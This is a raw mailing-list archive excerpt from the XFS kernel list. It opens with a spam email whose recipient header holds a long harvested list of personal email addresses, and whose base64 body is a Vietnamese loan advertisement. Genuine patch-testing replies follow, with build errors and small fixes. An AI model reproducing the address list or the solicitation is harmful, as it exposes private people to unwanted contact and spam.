nhocngoc2003@yahoo.com, tungrobinhut@yahoo.com, lotuslailai@yahoo.com, namk382003@yahoo.com, lonelygirl_blue@yahoo.com, black_metan2002@yahoo.com, kethichgaysu@movemail.com, lequangdungceline@yahoo.com, nguyenlienly@yahoo.com, nhoctijun@yahoo.com, hanh9avn@yahoo.com, popmusic179@yahoo.com, vanchuamuonyeu@yahoo.com, em_ngoan@yahoo.com, justin_1912@yahoo.com, russian84nb@yahoo.com, phamvantu2001@yahoo.com, nhoclocchoc1003@yahoo.com, hoang_dan85@yahoo.com, phuthuynho2204@yahoo.com, trondoichiyeu1minhem@yahoo.com, crachatgras@yahoo.com, blueheart0124@yahoo.com, tadinhphongvn84@yahoo.com, tdinhphongvn84@yahoo.com, musicfan1988@yahoo.com, quanghai3501hi@yahoo.com, babykiss2386@yahoo.com, nhathoangg7@yahoo.com, rongngocnho@yahoo.com, only_love2411@yahoo.com, madonna_of_the_rose@yahoo.com, tkh112mc@yahoo.com, tamhoncuada2909@yahoo.com, lungquynhanh85@yahoo.com, asaki502@yahoo.com, lee91119842001@yahoo.com, ips@oss.sgi.com, ogl-sample-cvs@oss.sgi.com, joseph@oss.sgi.com, kdb-bounce@oss.sgi.com, mendoza@oss.sgi.com, 20051001153132.beb077590da@cuda.sgi.com, 20051001153135.c6b4e7590ea@cuda.sgi.com, seimile@slouching.com, dd9920c9.34bae76@freelancebank.com, sachie@freelancebank.com, dackee@chirk.com, 9f2624a5.7cf6776@chirk.com, da2a019d.6d59954@familycommunications.com, cetsukohn@familycommunications.com, tavoularise@hearandplay.com, 866e61c4.1ae295a@hearandplay.com, mail@oss.sgi.com, 20051004034213.d1a02d32183e@cuda.sgi.com, 20051004034211.575ced3220f0@cuda.sgi.com, 555bd644.d738b91@turkicrepublics.com, licastor@turkicrepublics.com, kdb@oss.sgi.com, csa@oss.sgi.com, netdev-bounce@oss.sgi.com, sefton@mauiemail.com, becker@oss.sgi.com, knight@oss.sgi.com, tamsine@emp3mail.com, c310dfb8.c967689@emp3mail.com, cvs@oss.sgi.com, f0aaae05.763a6bd@empereur.com, kiyoke@empereur.com, mike@oss.sgi.com, 90af72e9.e8d9a27@hubbardcollege.com, alexander@hubbardcollege.com, jerrie@realworldholidays.com, 5e6ab11e.9e29140@realworldholidays.com, 9fda4d75.8a443a4@ormag.com, aprunella@ormag.com, huttone@greenpatio.com, 15be93ec.33164d4@greenpatio.com, margey@mail.navehumor.com, 6264987c.5a72439@mail.navehumor.com, xfs@oss.sgi.com, jamal@austingogo.com, 1565e006.fce97bb@austingogo.com, e2f024a3.f65395f@poppet.com, quincye@poppet.com, ikerriko@hotdaddy.com, 9df09894.b735b5d@hotdaddy.com, kelvine@rocknrollemail.com, bad30fa2.b85ca1f@melbourneemail.com, raineer@melbourneemail.com, caileigh@mom2many.com, acc8f478.23ac641@mom2many.com, illiyin@forklifttyres.com, linux-xfs-bounce@oss.sgi.com, 05904f85.260b131@farahaqil.com, sellena@farahaqil.com, eleanorarunions@blackworld.com, dee3c139.add4ecf@blackworld.com, merle@bigpuns.com, e54da76e.8baea3e@bigpuns.com, jensen@oss.sgi.com, 4ff95357.5e4feed@blushmail.com, carolcoveney@blacktalent.com, 95672161.1547676@love13.com, alani@love13.com, d9e25537.e8f3d75@poppet.com, dahlia@poppet.com, arnetta@4hermail.com, linux-xfs-outgoing@oss.sgi.com, jacinto@anythingwallpapers.com, 2a61378e.c4e3b61@anythingwallpapers.com, emmetei@ihatemimes.com, abdulh@montserratian.com, db2be3bf.a6a133a@montserratian.com, colleen@evitafans.com, brant@rochester-mail.com, ogl-sample@oss.sgi.com, hunter@oss.sgi.com, sarlajcsi@my-syte.com, 9e330c9a.0ca3318@my-syte.com, fam-bounce@oss.sgi.com, 3fcfdb03.9e41271@emused.com, tiara@emused.com, 1440e2d1.1ce1459@webkibris.com, kaylah@webkibris.com, marlysurbaniak@evolnetworks.com, 0e0dd445.c9bac9f@familycommunications.com, selisha@familycommunications.com, johann@sanchezsharks.com, debi@burningspeed.com, 948d6e1d.a0e243d@burningspeed.com, pamellaamaro@sakura-avalon.zzn.com, mariel@portorford-oregon.com, b686dbb5.5cda880@portorford-oregon.com, bates@oss.sgi.com, adelia@tarjomeh.com, 962ddc03.0ef839b@tarjomeh.com, adaline@eastrolog.com, 0c46ce62.087ec46@eastrolog.com, agafia@belitungisland.com, 1b1f4a34.04e5203@belitungisland.com, addy@educationmvp.com, aliboere@hermosamail.com, 7ce75d4f.b30df71@hermosamail.com, failsafe@oss.sgi.com, 85908dca.271a8f5@bikeracer.com, alicea@bikeracer.com, bodziony@asiamaya.com, adiane@surimaribo.com, 972d1f45.03287b2@surimaribo.com, debi@d2ra.com, c3115f03.a564725@d2ra.com, acactius@findmemail.com, febec6ee.5131bcb@findmemail.com, 94205f08.24c6047@medical-email.com, aedelina@medical-email.com, 73de4e5d.51be62c@chemistryfan.com, keciatrabert@chemistryfan.com, devorah@24hrgamers.com, d0d018e0.c06493b@24hrgamers.com, anuheae@crypt.vampyres.com, tennv@tencongty.com, tenbophan@tencongty.com, son@wapnamson.com, photograf@gianghiadigital.com, sale@baoquangco-ceramic.com, info@designabs.com, thuan_ttbhn@yahoo.com, info@lacviet-group.com, phucvu@tieccuoinguyendinh.com, honglam@steel-1.com, trangminh@trangminh.com, trangminh1130z@yahoo.com, info@vn-handicraft.com, lamquangtung@yahoo.com, info@tour-vietnam.com, cuonghau@cuonghau.com, nhaantoan@nhaantoan.com, saigon@ductrung.com, hanoi@ductrung.com, nguyenhoa75@hotmail.com, annaandneil@hotmail.com, scolesy@supanet.com, sally_nicholls@hotmail.com, achalmers1@aol.com, rosemaryfieldhouse3@hotmail.com, pandjrimell@aol.com, feds100@aol.com, clargo@rhinoriders.com, vhgreen@ntlworld.com, ruth.steer@btinternet.com, helen_armitage26@hotmail.com, angelahood@mccannandmcann.com, sarah.arnold@coolo.zzn.com, peter.burwell@btinternet.com, ashleyskilton@hotmail.com, a.atkinson@btinternet.com, paulandsaraharoundtheworld@hotmail.com, c.i.evans@talk21.com, toadknee@aol.com, joan.spalding1@btopenworld.com, embmbw@aol.com, lionel.clargo@talk21.com, alisonhubbard@hotmail.com, embnbw@aol.com, karen_longland@hotmail.com, plamsa_membrane@hotmail.com, a.atkinson@btinernet.com, trampstewc@hotmail.com, armstrongjill@hotmail.com, simonstewart998@hotmail.com, emnbmw@aol.com, sugarolga@hotmail.com, emnbw@aol.com, riggszone@yahoo.com, jennsp@aol.com, faztazia@aol.com, saraarmstrong79@hotmail.com, stillinbritain@hotmail.com, mike_whitelaw@yahoo.com, s.e.courtman@btinternet.com, sallynicholls@hotmail.com, milpip@aol.com, mossies@compuserve.com, sarah.coles@royceconsultancy.com, joanspalding1@btopenworld.com, geoffyoung@btinternet.com, neilsheldon@supanet.com Content-Type: multipart/alternative; boundary=047d7b6dc47456b60704e1fd051f X-Barracuda-Connect: mail-qc0-f194.google.com[209.85.216.194] X-Barracuda-Start-Time: 1374376739 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.50 X-Barracuda-Spam-Status: No, SCORE=2.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC3_MV0164, DKIM_SIGNED, HEAD_LONG, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 HEAD_LONG Message headers are very long 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 2.00 BSF_SC3_MV0164 Custom rule MV0164 --047d7b6dc47456b60704e1fd051f Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: base64 KkNITyBWQVkgVMONTiBDSOG6pFAqDQoNCipDw7RuZyB0eSB0w6BpIGNow61uaCBQcnVkZW50aWFs LCBDaMawxqFuZyB0csOsbmggY2hvIHZheSB0w61uIGNo4bqlcCB24bubaSBsw6NpIHN14bqldA0K aOG6pXAgZOG6q24qDQoNCiAgICAtVGjhu51pIGjhuqFuIHZheSB04burIDEg4oCTIDQgbsSDbQ0K DQogICAgLSBWYXkgdOG7qyAxMCDigJMgMzAwIHRyaeG7h3UgxJHhu5NuZyAoIHZheSB04burIDYg 4oCTIDkgbOG6p24gdGh1IG5o4bqtcCApDQoNCiAgICAtIEzDo2kgc3XhuqV0IGPhu5EgxJHhu4tu aCB0csOqbiBkxrAgbuG7oyBiYW4gxJHhuqd1IHTGsCAxLjIgJSAtIDEuOCUgLyB0aMOhbmcgLCBu 4bujIGfhu5FjDQp0csOhIGThuqduIGjDoG5nIHRow6FuZw0KDQogICAgLSBLaMO0bmcgY+G6p24g dGjhur8gY2jhuqVwLCBraMO0bmcgdGh1IHBow60gdGjhu6cgdOG7pWMuDQoNCiAgICAtxJDhu5Fp IHbhu5tpIFF1w70ga2jDoWNoIGjDoG5nIGzDoCBiw6FjIHPhu7ksIHkgdMOhLCBo4buZIGzDvSwg eSBjw7RuZ+KApsSRxrDhu6NjIHZheSB04burIDE1IOKAkw0KMjAgbOG6p24gbMawxqFuZw0KDQoq SOG7kyBzxqEgdGjhu6cgdOG7pWMgZ+G7k20gKCB04bqldCBj4bqjIGNo4buJIGPhuqduIGLhuqNu IHBob3RvLCBraMO0bmcgY+G6p24gY8O0bmcgY2jhu6luZyApKg0KDQogICAgLUNo4bupbmcgbWlu aCBuaMOibiBkw6JuLCBi4bqxbmcgbMOhaSB4ZSAoIHRo4bq7IG5ow6JuIHZpw6puICkNCg0KICAg LSBUaOG6uyBi4bqjbyBoaeG7g20geSB04bq/IG7hur91IGPDsw0KDQogICAtIEjhu5kga2jhuql1 ICwgS1QzIHThuqFpIFRQLkhDTSwgaG/hurdjIEjhu5kgS2jhuql1IHThuqFpIMSQ4buTbmcgTmFp LCBMb25nIEFuLCBCw6xuaA0KRMawxqFuZywgQmnDqm4gSMOyYSkNCg0KICAgLSBI4bujcCDEkeG7 k25nIGxhbyDEkeG7mW5nICggcXV54bq/dCDEkWluaCB2w6BvIGJpw6puIGNo4bq/IC8gZ2nhuqV5 IHjDoWMgbmjhuq1uIGPDtG5nIHTDoWMpDQoNCiAgIC0gU2FvIGvDqiBsxrDGoW5nIDYgdGjDoW5n IGfhuqduIG5o4bqldCAoIGhv4bq3YyBnaeG6pXkgeMOhYyBuaOG6rW4gbMawxqFuZyApDQoNCk5n b8OgaSByYSwga2jDoWNoIGjDoG5nIGPDsyBC4bqjbyBIaeG7g20gTmjDom4gVGjhu40sIGdp4bql eSBwaMOpcCBraW5oIGRvYW5oLCBCacOqbiBsYWkNCnRp4buBbiDEkWnhu4duIHRob+G6oWkgdOG7 qyA4MDAuMDAwxJEgY8WpbmcgxJHGsOG7o2MgdGhhbSBnaWEgdmF5DQoNCk3hu41pIGNoaSB0aeG6 v3QgeGluIHZ1aSBsw7JuZyBsacOqbiBo4buHDQoNClPhu5EgxJFp4buHbiB0aG/huqFpICowOTMu NjM1LjYzMzUgYW5oIFTDom4qKiAqDQoNCkVtYWlsIDogdG9udGhhdGhvYW5ndGFuQGdtYWlsLmNv bQ0K --047d7b6dc47456b60704e1fd051f Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: base64 PGRpdiBkaXI9Imx0ciI+PHAgY2xhc3M9IiIgYWxpZ249ImNlbnRlciIgc3R5bGU9InRleHQtYWxp Z246Y2VudGVyIj48Yj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjIycHQ7bGluZS1oZWlnaHQ6MTE1 JSI+Q0hPIFZBWSBUw41OIENI4bqkUDwvc3Bhbj48L2I+PC9wPg0KDQo8cCBjbGFzcz0iIj48Yj48 c3BhbiBzdHlsZT0iZm9udC1zaXplOjE2cHQ7bGluZS1oZWlnaHQ6MTE1JTtmb250LWZhbWlseTom IzM5O1RpbWVzIE5ldyBSb21hbiYjMzk7LHNlcmlmIj5Dw7RuZw0KdHkgdMOgaSBjaMOtbmggUHJ1 ZGVudGlhbCwgQ2jGsMahbmcgdHLDrG5oIGNobyB2YXkgdMOtbiBjaOG6pXAgduG7m2kgbMOjaSBz deG6pXQgaOG6pXAgZOG6q248L3NwYW4+PC9iPjwvcD4NCg0KPHAgY2xhc3M9IiI+PHNwYW4gc3R5 bGU9ImZvbnQtc2l6ZToxNHB0O2xpbmUtaGVpZ2h0OjExNSUiPsKgwqDCoCAtVGjhu51pIGjhuqFu IHZheSB04burIDEg4oCTIDQgbsSDbTwvc3Bhbj48L3A+DQoNCjxwIGNsYXNzPSIiPjxzcGFuIHN0 eWxlPSJmb250LXNpemU6MTRwdDtsaW5lLWhlaWdodDoxMTUlIj7CoMKgwqAgLSBWYXkgdOG7qyAx MCDigJMgMzAwIHRyaeG7h3UgxJHhu5NuZyAoIHZheSB04burIDYg4oCTIDkNCmzhuqduIHRodSBu aOG6rXAgKTwvc3Bhbj48L3A+DQoNCjxwIGNsYXNzPSIiPjxzcGFuIHN0eWxlPSJmb250LXNpemU6 MTRwdDtsaW5lLWhlaWdodDoxMTUlIj7CoMKgwqAgLSBMw6NpIHN14bqldCBj4buRIMSR4buLbmgg dHLDqm4gZMawIG7hu6MgYmFuIMSR4bqndSB0xrANCjEuMiAlIC0gMS44JSAvIHRow6FuZyAsIG7h u6MgZ+G7kWMgdHLDoSBk4bqnbiBow6BuZyB0aMOhbmc8L3NwYW4+PC9wPg0KDQo8cCBjbGFzcz0i Ij48c3BhbiBzdHlsZT0iZm9udC1zaXplOjE0cHQ7bGluZS1oZWlnaHQ6MTE1JSI+wqDCoMKgIC0g S2jDtG5nIGPhuqduIHRo4bq/IGNo4bqlcCwga2jDtG5nIHRodSBwaMOtIHRo4bunIHThu6VjLjwv c3Bhbj48L3A+DQoNCjxwIGNsYXNzPSIiPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTRwdDtsaW5l LWhlaWdodDoxMTUlIj7CoMKgwqAgLcSQ4buRaSB24bubaSBRdcO9IGtow6FjaCBow6BuZyBsw6Ag YsOhYyBz4bu5LCB5IHTDoSwgaOG7mQ0KbMO9LCB5IGPDtG5n4oCmxJHGsOG7o2MgdmF5IHThu6sg MTUg4oCTIDIwIGzhuqduIGzGsMahbmc8L3NwYW4+PC9wPg0KDQo8cCBjbGFzcz0iIj48Yj48c3Bh biBzdHlsZT0iZm9udC1zaXplOjE2cHQ7bGluZS1oZWlnaHQ6MTE1JSI+SOG7kyBzxqEgdGjhu6cg dOG7pWMgZ+G7k20gKCB04bqldCBj4bqjIGNo4buJIGPhuqduIGLhuqNuDQpwaG90bywga2jDtG5n IGPhuqduIGPDtG5nIGNo4bupbmcgKTwvc3Bhbj48L2I+PC9wPg0KDQo8cCBjbGFzcz0iIj48c3Bh biBzdHlsZT0iZm9udC1zaXplOjE0cHQ7bGluZS1oZWlnaHQ6MTE1JSI+wqDCoMKgIC1DaOG7qW5n IG1pbmggbmjDom4gZMOibiwgYuG6sW5nIGzDoWkgeGUgKCB0aOG6uw0KbmjDom4gdmnDqm4gKTwv c3Bhbj48L3A+DQoNCjxwIGNsYXNzPSIiPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTRwdDtsaW5l LWhlaWdodDoxMTUlIj7CoMKgIC0gVGjhursgYuG6o28gaGnhu4NtIHkgdOG6vyBu4bq/dSBjw7M8 L3NwYW4+PC9wPg0KDQo8cCBjbGFzcz0iIj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjE0cHQ7bGlu ZS1oZWlnaHQ6MTE1JSI+wqDCoCAtIEjhu5kga2jhuql1ICwgS1QzIHThuqFpIFRQLkhDTSwgaG/h urdjIEjhu5kgS2jhuql1IHThuqFpDQrEkOG7k25nIE5haSwgTG9uZyBBbiwgQsOsbmggRMawxqFu ZywgQmnDqm4gSMOyYSk8L3NwYW4+PC9wPg0KDQo8cCBjbGFzcz0iIj48c3BhbiBzdHlsZT0iZm9u dC1zaXplOjE0cHQ7bGluZS1oZWlnaHQ6MTE1JSI+wqAgwqAtIEjhu6NwDQrEkeG7k25nIGxhbyDE keG7mW5nICggcXV54bq/dCDEkWluaCB2w6BvIGJpw6puIGNo4bq/IC8gZ2nhuqV5IHjDoWMgbmjh uq1uIGPDtG5nIHTDoWMpPC9zcGFuPjwvcD4NCg0KPHAgY2xhc3M9IiI+PHNwYW4gc3R5bGU9ImZv bnQtc2l6ZToxNHB0O2xpbmUtaGVpZ2h0OjExNSUiPsKgwqAgLSBTYW8ga8OqIGzGsMahbmcgNiB0 aMOhbmcgZ+G6p24gbmjhuqV0ICggaG/hurdjIGdp4bqleQ0KeMOhYyBuaOG6rW4gbMawxqFuZyAp PC9zcGFuPjwvcD4NCg0KPHAgY2xhc3M9IiI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxNnB0O2xp bmUtaGVpZ2h0OjExNSUiPk5nb8OgaSByYSwNCmtow6FjaCBow6BuZyBjw7MgQuG6o28gSGnhu4Nt IE5ow6JuIFRo4buNLCBnaeG6pXkgcGjDqXAga2luaCBkb2FuaCwgQmnDqm4gbGFpIHRp4buBbiDE kWnhu4duIHRob+G6oWkNCnThu6sgODAwLjAwMMSRIGPFqW5nIMSRxrDhu6NjIHRoYW0gZ2lhIHZh eTwvc3Bhbj48L3A+DQoNCjxwIGNsYXNzPSIiPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTZwdDts aW5lLWhlaWdodDoxMTUlIj5N4buNaSBjaGkgdGnhur90DQp4aW4gdnVpIGzDsm5nIGxpw6puIGjh u4cgPC9zcGFuPjwvcD4NCg0KPHAgY2xhc3M9IiI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxNnB0 O2xpbmUtaGVpZ2h0OjExNSUiPlPhu5EgxJFp4buHbiB0aG/huqFpDQo8L3NwYW4+PGI+PHNwYW4g c3R5bGU9ImZvbnQtc2l6ZToyNnB0O2xpbmUtaGVpZ2h0OjExNSUiPjA5My42MzUuNjMzNSBhbmgg VMOibjwvc3Bhbj48L2I+PGI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxNnB0O2xpbmUtaGVpZ2h0 OjExNSUiPiA8L3NwYW4+PC9iPjwvcD4NCg0KPHAgY2xhc3M9IiI+PHNwYW4gc3R5bGU9ImZvbnQt c2l6ZToxNnB0O2xpbmUtaGVpZ2h0OjExNSUiPkVtYWlsIDoNCjxhIGhyZWY9Im1haWx0bzp0b250 aGF0aG9hbmd0YW5AZ21haWwuY29tIj50b250aGF0aG9hbmd0YW5AZ21haWwuY29tPC9hPjwvc3Bh bj48L3A+PC9kaXY+DQo= --047d7b6dc47456b60704e1fd051f-- From mlsemon35@gmail.com Sun Jul 21 01:23:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7F8AA7F3F for ; Sun, 21 Jul 2013 01:23:43 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3B25E304059 for ; Sat, 20 Jul 2013 23:23:43 -0700 (PDT) X-ASG-Debug-ID: 1374387821-04bdf0245d23ca00001-NocioJ Received: from mail-gh0-f182.google.com (mail-gh0-f182.google.com [209.85.160.182]) by cuda.sgi.com with ESMTP id aOq5zZWQ2lqCUYon (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 20 Jul 2013 23:23:41 -0700 (PDT) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.160.182 X-Barracuda-IPDD: Level1 [gmail.com/209.85.160.182] Received: by mail-gh0-f182.google.com with SMTP id z15so1758629ghb.13 for ; Sat, 20 Jul 2013 23:23:41 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.160.182] X-Barracuda-IPDD: Level1 [gmail.com/209.85.160.182] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=3MokNddqzrfOfE7vHo0luFcleqq9OAduGmIktJdGc/M=; b=Ds38QshNi2jcmjgnNnPuD5HHIrxWGJnoyoBJZVd5a+ALQytvQm8DnFjFLg4wXrnTYl 27oDBWtBFsw+3dyFO/DyPoSGidObRgJPDkVEJGRhf7N/vpvFhzUreKWpk72oMLSDGO62 Mn47tLNPVHQO7OLYOhrt5iNt/ePn75sZR0DdQtvpwbc+7UmEn3sXsKU0JJ5PI0s0TplR +AGmX+4LpjZolcr3FP36dyV8zFTg9z4bw8znSrxQ8VoY2GKruk3kYbjm3GExGv/rKfJn FR862LbW0x4eri474XqaIxLPKYTW9UdsNB48TO4DA5z57TLAYJkx7Xxbwo3XRZS6sQ30 HZcQ== X-Received: by 10.236.84.20 with SMTP id r20mr11493369yhe.60.1374387821199; Sat, 20 Jul 2013 23:23:41 -0700 (PDT) Received: from [192.168.0.129] (rrcs-97-78-60-146.se.biz.rr.com. [97.78.60.146]) by mx.google.com with ESMTPSA id g39sm32116886yhb.13.2013.07.20.23.23.40 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 20 Jul 2013 23:23:40 -0700 (PDT) Message-ID: <51EB7E6B.8080607@gmail.com> Date: Sun, 21 Jul 2013 02:23:39 -0400 From: "Michael L. Semon" User-Agent: Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 00/49] current patch queue for 3.12 References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 00/49] current patch queue for 3.12 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-gh0-f182.google.com[209.85.160.182] X-Barracuda-Start-Time: 1374387821 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 07/19/2013 02:24 AM, Dave Chinner wrote: > Hi folks, > > The following mass of patches is my current patch queue I have > pending for the 3.12 cycle. OK, it seems to be going okay: The PC is still functioning, even on a CRC-enabled / partition. The `git am` session had these anomalies: # Patch #5 Applying: xfs: separate dquot on disk format definitions out of xfs_quota.h /usr/src/kernel-git/linux/.git/rebase-apply/patch:138: trailing whitespace. * This header file defines all the on-disk format definitions for warning: 1 line adds whitespace errors. # Patch #15 Applying: xfs: move getdents code into it's own file /usr/src/kernel-git/linux/.git/rebase-apply/patch:1266: new blank line at EOF. + warning: 1 line adds whitespace errors. ######## There were build errors as well with gcc-4.8.1: CC fs/xfs/xfs_inode_fork.o fs/xfs/xfs_inode_fork.c:43:23: fatal error: xfs_utils.h: No such file or directory #include "xfs_utils.h" ^ compilation terminated. make[2]: *** [fs/xfs/xfs_inode_fork.o] Error 1 make[1]: *** [fs/xfs] Error 2 make: *** [fs] Error 2 # next try... CC fs/xfs/xfs_inode_fork.o fs/xfs/xfs_inode_fork.c:49:26: fatal error: xfs_vnodeops.h: No such file or directory #include "xfs_vnodeops.h" ^ compilation terminated. make[2]: *** [fs/xfs/xfs_inode_fork.o] Error 1 make[1]: *** [fs/xfs] Error 2 make: *** [fs] Error 2 ######## Hopefully, I didn't leave a patch out. To get the code to build fully, these patches were applied: diff --git a/fs/xfs/xfs_inode_fork.c b/fs/xfs/xfs_inode_fork.c index f06570b..123971b 100644 --- a/fs/xfs/xfs_inode_fork.c +++ b/fs/xfs/xfs_inode_fork.c @@ -40,10 +40,8 @@ #include "xfs_ialloc.h" #include "xfs_bmap.h" #include "xfs_error.h" -#include "xfs_utils.h" #include "xfs_quota.h" #include "xfs_filestream.h" -#include "xfs_vnodeops.h" #include "xfs_cksum.h" #include "xfs_trace.h" #include "xfs_icache.h" -- 1.8.3.2 diff --git a/fs/xfs/xfs_log_rlimit.c b/fs/xfs/xfs_log_rlimit.c index e3f4b4e..9224296 100644 --- a/fs/xfs/xfs_log_rlimit.c +++ b/fs/xfs/xfs_log_rlimit.c @@ -137,7 +137,8 @@ xfs_log_calc_minimum_size( * it up to lsunit boundary if lsunit is specified. */ if (lsunit) - min_logblks = roundup(BTOBB(max_logres), lsunit) + 2 * lsunit; + min_logblks = roundup((int)BTOBB(max_logres), lsunit) + + 2 * lsunit; else min_logblks = BTOBB(max_logres); min_logblks *= XFS_MIN_LOG_FACTOR; -- 1.8.3.2 That's about all, so far. There's something going wrong with a 2k non-CRC XFS filesystem that I should track before doing too much with xfstests. The initial results on a 32-bit Pentium 4 looked promising. Thanks! Michael From mlsemon35@gmail.com Sun Jul 21 01:34:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D19E47F50 for ; Sun, 21 Jul 2013 01:34:09 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 51683AC001 for ; Sat, 20 Jul 2013 23:34:06 -0700 (PDT) X-ASG-Debug-ID: 1374388444-04cbb0468e122cdc0001-NocioJ Received: from mail-ye0-f181.google.com (mail-ye0-f181.google.com [209.85.213.181]) by cuda.sgi.com with ESMTP id MeMNLeRc2cOILNxx (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 20 Jul 2013 23:34:05 -0700 (PDT) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.213.181 X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.181] Received: by mail-ye0-f181.google.com with SMTP id g12so1795591yee.12 for ; Sat, 20 Jul 2013 23:34:04 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.181] X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.181] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=KseNH/hv2eXUzpxkyHDkIbwpI6CZvqkRWgy/1Zam1tQ=; b=wtEF/D0ndLujfDotVFBGsFi655B9ECa259PEYWrmGyvooLh+3t+ptWEaGTqbsrS5+E F34Bl4vQHZCqs5BHLw8N2rU9JcDLxK+mAy4MaRlH4KJPYIgPeUmRJbGPvNJNQjGxxmMW TdntYvQbwuWQqvyNjFG4H9tOn8kRDR6Yygsaxq1N5XVL2JnPy+2+OBrRGYF0EvyGlab9 skGFz+AaIvwxTYa9OombQaooWbERQJhh2WF9Kj1VgVxrlfWVTdbkYJVOgPWL0f0EpExI twrBxd1IjoFh6lYY1z/H9s0Rr6QCA62howbU/krfK41pmouNb9FEAuU4yLfkIpfGQCuy vZ2Q== X-Received: by 10.236.134.164 with SMTP id s24mr11599359yhi.44.1374388444617; Sat, 20 Jul 2013 23:34:04 -0700 (PDT) Received: from [192.168.0.129] (rrcs-97-78-60-146.se.biz.rr.com. [97.78.60.146]) by mx.google.com with ESMTPSA id i27sm32134625yhj.24.2013.07.20.23.34.03 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 20 Jul 2013 23:34:04 -0700 (PDT) Message-ID: <51EB80DB.80602@gmail.com> Date: Sun, 21 Jul 2013 02:34:03 -0400 From: "Michael L. Semon" User-Agent: Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 00/49] xfsprogs: patches for crc-dev branch References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 00/49] xfsprogs: patches for crc-dev branch In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-ye0-f181.google.com[209.85.213.181] X-Barracuda-Start-Time: 1374388445 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: 